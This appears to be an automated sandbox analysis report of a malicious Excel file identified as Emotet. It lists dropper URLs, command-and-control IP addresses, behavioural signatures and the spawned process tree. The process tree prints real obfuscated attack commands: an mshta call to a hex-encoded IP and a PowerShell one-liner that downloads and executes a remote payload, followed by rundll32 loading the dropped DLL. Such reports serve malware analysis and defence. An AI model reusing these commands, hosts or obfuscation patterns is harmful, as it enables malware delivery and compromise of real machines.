Analysis

  • max time kernel
    119s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    19/01/2022, 00:39

General

  • Target
    16c509251625b119cb05d77a6c8a7fe7.xls
  • Size 128KB
  • Sample220119-azm8faecd3
  • SHA256 b463abec1dfc612e1ea59fa20ed07f468fbdc69e8694a5af639fa79435ce4f58
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/cc.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/PP91.PNG

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\16c509251625b119cb05d77a6c8a7fe7.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1376
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1356
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1724
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:916
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1748
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2000
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zwdkzngoj\thkimpfsg.ban",TVPHRfnHKPRd
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1064
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zwdkzngoj\thkimpfsg.ban",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:676

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/676-98-0x0000000000830000-0x0000000000856000-memory.dmp

        memory/676-112-0x0000000002A70000-0x0000000002A96000-memory.dmp

        memory/676-110-0x0000000002980000-0x00000000029A6000-memory.dmp

        memory/676-108-0x00000000028D0000-0x00000000028F6000-memory.dmp

        memory/676-106-0x0000000002850000-0x0000000002876000-memory.dmp

        memory/676-104-0x00000000026A0000-0x00000000026C6000-memory.dmp

        memory/676-102-0x0000000002600000-0x0000000002626000-memory.dmp

        memory/676-100-0x0000000000E50000-0x0000000000E76000-memory.dmp

        memory/676-96-0x00000000007D0000-0x00000000007F6000-memory.dmp

        memory/676-94-0x00000000002C0000-0x00000000002E6000-memory.dmp

        memory/1064-90-0x00000000001F0000-0x0000000000216000-memory.dmp

        memory/1660-55-0x0000000071551000-0x0000000071553000-memory.dmp

        memory/1660-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1660-116-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1660-57-0x0000000075F81000-0x0000000075F83000-memory.dmp

        memory/1660-54-0x000000002F2C1000-0x000000002F2C4000-memory.dmp

        memory/1724-62-0x0000000000440000-0x0000000000535000-memory.dmp

        memory/1724-60-0x0000000000440000-0x0000000000535000-memory.dmp

        memory/1724-61-0x0000000000440000-0x0000000000535000-memory.dmp

        memory/1748-69-0x00000000002E0000-0x0000000000306000-memory.dmp

        memory/2000-80-0x00000000003E0000-0x0000000000406000-memory.dmp

        memory/2000-78-0x0000000000310000-0x0000000000336000-memory.dmp

        memory/2000-89-0x0000000002840000-0x0000000002866000-memory.dmp

        memory/2000-76-0x0000000000240000-0x0000000000266000-memory.dmp

        memory/2000-84-0x00000000023C0000-0x00000000023E6000-memory.dmp

        memory/2000-82-0x0000000000BA0000-0x0000000000BC6000-memory.dmp

        memory/2000-86-0x00000000024C0000-0x00000000024E6000-memory.dmp